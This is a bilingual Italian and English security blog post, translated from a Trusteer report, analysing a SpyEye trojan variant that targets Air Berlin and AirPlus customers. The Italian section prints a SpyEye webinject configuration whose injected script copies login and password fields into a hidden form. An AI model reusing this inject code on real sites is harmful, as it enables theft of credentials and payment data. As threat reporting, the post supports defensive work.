Il trojan SpyEye colpisce siti web di compagnie aeree che accettano carte di debito bancarie SpyEye Trojan Targets Airline Website that Accepts Bank Debit Card

Il post seguente è stato tradotto per gentile concessione di Trusteer

Abbiamo scoperto una versione di SpyEye che colpisce gli utenti dei siti web di due compagnie aeree leader in Europa: Air Berlin, seconda compagnia aerea in Germania (dopo Lufthansa) e AirPlus, fornitore globale di servizi di business travel per le aziende. SpyEye usa la macchina dell’utente, non i siti, per effettuare questo tipo di frode.

I soggetti da attaccare sono ben lungi dall’essere scelti a caso ma, crediamo, siano accuratamente scelti per il loro potenziale di guadagno criminale. Un sito accetta pagamenti con carte di debito, mentre l’altro si rivolge agli utenti aziendali.

Air Berlin, la sesta compagnia aerea in Europa, non solo accetta carte di debito e di credito; ma permette ai cittadini austriaci, olandesi e tedeschi di pagare con addebito bancario diretto sette giorni prima della partenza.

Di conseguenza, i criminali che colpiscano un viaggiatore Air Berlin da questi paesi, hanno una buona probabilità di ottenere i dati personali degli utenti; tra cui la data di nascita, obbligatoria sul sito della compagnia aerea, così come i loro dati bancari.

Air Plus, invece, offre una varietà di servizi per le aziende di tutte le dimensioni tramite il loro sito, tutti pagati con carte di pagamento aziendali, immancabilmente connesse a conti bancari aziendali.

Visto che i conti aziendali tendono ad avere saldi (o limiti di credito) maggiori rispetto ai conti consumer, hanno un potenziale di guadagno cibercriminale maggiore per quanto riguarda la prospettiva della raccolta dati.

Nel caso dell’attacco di Air Berlin, SpyEye cerca di raccogliere informazioni riservate degli utenti, tra cui nomi utente e password e altri dati inseriti nella pagina web colpita. Dal momento che Air Berlin accetta pagamenti con carte di debito bancarie, il potenziale di frode è ancora maggiore.

Il codice dell’injection di SpyEye cattura le informazioni in merito ai dettagli di nomi utente e password:

<WebInjects action=”Inject|POST|GET”>
<Url><![CDATA[https://www.airberlin.com/site/yab/login/login*]]></Url>
<AuxUrl><![CDATA[]]></AuxUrl>
<WebInject>
<Before><![CDATA[<body>]]></Before>
<Data><![CDATA[<iframe name=ifr1 id=ifr1 src=”https://www.airberlin.com/site/images/spacer.gif” width=0 height=0 border=none>
</iframe>
<form id=form7 name=form7 target=ifr1 method=post action=”https://www.airberlin.com/site/images/spacer.gif“>
<input type=”hidden” name=”cc” id=”cc” />
<input type=”hidden” name=”pas” id=”pas” />
</form>
<script>
function dosubmit(){
document.form7.cc.value=document.getElementById(‘login’).value;
document.form7.pas.value=document.getElementById(‘pass’).value;
document.form7.submit();
}
</script>]]></Data>
<After><![CDATA[]]></After>
</WebInject>
<WebInject>
<Before><![CDATA[name=”yabLogin” id=”yabLogin”]]></Before>
<Data><![CDATA[ onclick=”dosubmit()”]]></Data>
<After><![CDATA[]]></After>
</WebInject>

La metodologia di attacco di AirPlus, invece, colpisce gli utenti della carta di credito Lufthansa Miles & More del circuito Visa che offre viaggi premio per gli acquisti effettuati con la carta.

Simile all’attacco di Air Berlin, il codice di SpyEye colpisce l’URL di login del portale AirPlus:

In questo caso, SpyEye, inietta il codice nel browser degli utenti, sostenendo di essere un miglioramento anti-frode.

In realtà, naturalmente, è un tentativo abilmente dissimulato di effettuare il phishing delle credenziali dell’ignaro cliente del portale di AirPlus.

Queste credenziali sono molto complete: includono tipo e numero della carta, la data di scadenza, il codice CVV (banda della firma del titolare) e, come per l’attacco ad Air Berlin, la data di nascita dell’utente.

La sottrazione delle date di nascita dell’utente permette il furto d’identità e – come abbiamo osservato – la frode impersonando l’utente e utilizzando metodi di attacco tramite social engineering ( si fa riferimento a un blog recente?)

Conclusioni

È importante capire che, ormai, il crimine informatico è altamente organizzato, con specializzazione delle funzioni all’interno dei diversi membri della gerarchia criminale.

Ciò significa che le gang di darkware coding, creatrici di queste varianti di SpyEye, stanno scegliendo con cura i loro obiettivi per ottenere il massimo rendimento con il minimo sforzo.

Inoltre, aumentando il rendimento di ogni vittima, le possibilità di rivendere i dati vanno ben al di là dei semplici forum di carder visti in quest’ultimi anni.

Siamo convinti che la(le) gang di cibercriminali dietro a questi attacchi, stia(no), quasi certamente, utilizzando una metodologia semi-automatica di sviluppo del codice, che consenta (loro) di sviluppare versioni personalizzate del malware per scopi specifici.

Chiaramente il commercio turistico permette ai cibercriminali di accedere alle credenziali degli account utente e aziendali con saldi e limiti di credito più grandi del normale.

“La ciliegina sulla torta” di poter accedere anche ai dettagli del conto bancario di Air Berlin in Austria, Germania e Paesi Bassi, è indice di ingegno mirato.

Purtroppo, i tradizionali meccanismi di sicurezza antivirus non sono per niente in grado di proteggere gli utenti aziendali dall’infezione di SpyEye, in quanto utilizza un’individuazione mirata, unitamente a tecniche di evasione della rilevazione della firma per mettere piede all’interno dei computer.

Un’alternativa migliore per proteggere i servizi basati sul web, è quella di realizzare un accesso sicuro al web. Ad esempio, strumenti di sicurezza basati su browser che rendano la comunicazione sicura tra il computer e il sito web del servizio cloud del provider, possono impedire ai metodi di attacco più comuni, come l’iniezione di codice HTML e il keylogging, di catturare dati. Queste stesse tecnologie possono essere usate per proteggere altre applicazioni basate su browser, come VPN, CRM, i sistemi retail, finanziari e di collaborazione che possono essere sfruttati da malware per rubare le credenziali utente e violare il perimetro di sicurezza di un’impresa del tutto inosservati.

Attendiamo di vedere versioni ancor più specializzate di SpyEye a breve.

Fonte: SpyEye Trojan Targets Airline Website that Accepts Bank Debit Card
We have uncovered a SpyEye configuration that targets users of two leading European airline travel Web sites: Air Berlin, the second largest airline in Germany (after Lufthansa) and AirPlus, the global provider of business travel services for companies. SpyEye exploits the user’s machine, not the websites, to carry out this fraud.

The attack subjects are far from randomly selected, but are, we believe, carefully chosen for their criminal revenue potential. One site accepts debit card payments, while the other caters to business users.

Air Berlin, now Europe’s sixth-largest airline, not only accepts debit and credit cards, but for Austrian, Dutch and German citizens, allows travellers to pay by bank direct debit seven days before travelling.

This means that criminals targeting an Air Berlin traveller from these countries stand a good chance of obtaining the personal details of the user – including their date of birth, which is mandatory on the airline’s site – as well as their bank account details.

Air Plus, meanwhile, offers a variety of travel services for companies of all sizes via their website, all paid for by business payment cards, which are invariably linked to business bank accounts.

Since corporate accounts tend to carry much higher balances (or credit limits) than consumer accounts, they have much greater cybercriminal revenue potential from a data harvesting perspective.

In the case of the Air Berlin attack, SpyEye is attempting to harvest confidential user information including username and password, and other data that is entered in the targeted web page. Since Air Berlin accepts bank debit card payments, the fraud potential is even more elevated.

The injection code of SpyEye captures the information on username and password details:

The AirPlus attack methodology, meanwhile, targets users of the Lufthansa Miles & More Visa credit card which offers bonus travel for purchases made using the card.

Similar to the Air Berlin attack, the SpyEye code targets the main login URL of the AirPlus portal:

In this instance, SpyEye injects code into the users’ Web browser that claims to be an anti-fraud enhancement to the online:

In reality, of course, this is a cleverly-disguised attempt to phish user credentials from the unsuspecting customer of the AirPlus Web portal.

These credentials are quite comprehensive and include the card name and number, expiration date, CVV (signature strip) number and – as with the Air Berlin attack – the user’s date of birth.

The harvesting of the user’s date of birth opens up the possibility of identity theft and – we have observed – committing fraud by impersonating the user and using social engineering attack methods (is this referring to a recent blog?)

Conclusions

It is important to understand that cybercrime is now highly organised, with specialisation of duties between different members of the criminal hierarchy.

This means that the darkware coding gangs behind these variants of SpyEye are now carefully choosing their targets for maximum revenue yield with minimal effort.

In addition, by enhancing the fraudulent data yield from each victim, the possibilities for resale of data go way beyond that of the carder forums seen in the last few years.

We believe that the cybercriminal gang(s) behind these attacks are almost certainly using a semi-automated methodology of code development, allowing them to develop customised versions of the malware for specific purposes.

Clearly the travel trade offers cybercriminals access to user and company account credentials with larger-than-normal account balances and credit card limits.

The additional fraud sweetener of also gaining access to Air Berlin bank account details in Austria, Germany and the Netherlands is an indication of targeting ingenuity.

Unfortunately, traditional antivirus security mechanisms are largely unable to protect corporate users from becoming infected with SpyEye as it uses targeted reconnaissance combined with signature detection evasion techniques to get a foothold inside computers.

A better alternative for protecting web based services is to implement secure web access. For example, browser-based security tools that secure communication between the computer and cloud service provider website can prevent common attack methods like HTML injection and keylogging from grabbing data. These same technologies can be used to protect other browser-based applications like VPNs, CRM, retail, financial and collaboration systems that can be exploited by malware to steal user credentials and breach an enterprise’s security perimeter completely undetected.

We expect to see more specialised versions of SpyEye shortly.

Source: SpyEye Trojan Targets Airline Website that Accepts Bank Debit Card

Leonardo Musumeci

Il trojan SpyEye colpisce siti web di compagnie aeree che accettano carte di debito bancarie SpyEye Trojan Targets Airline Website that Accepts Bank Debit Card

Articoli correlati

[:it]Violare Instagram per ottenere pasti gratis in cambio di recensioni positive[:en]Hacking Instagram to Get Free Meals in Exchange for Positive Reviews[:]

[:it]Tracciare persone senza il GPS[:en]Tracking People Without GPS[:]

[:it]Della ripudiabilità e coercizione[:en]On Deniability and Duress[:]

Lascia un commento Annulla risposta

You missed

[:it]Come spegnere i motori di migliaia di auto da remoto[:]

[:it]Violare Instagram per ottenere pasti gratis in cambio di recensioni positive[:en]Hacking Instagram to Get Free Meals in Exchange for Positive Reviews[:]

Non muoverti e il malware per Android non farà danni

pdf to word condivide oltre 360.000 documenti online

Leonardo Musumeci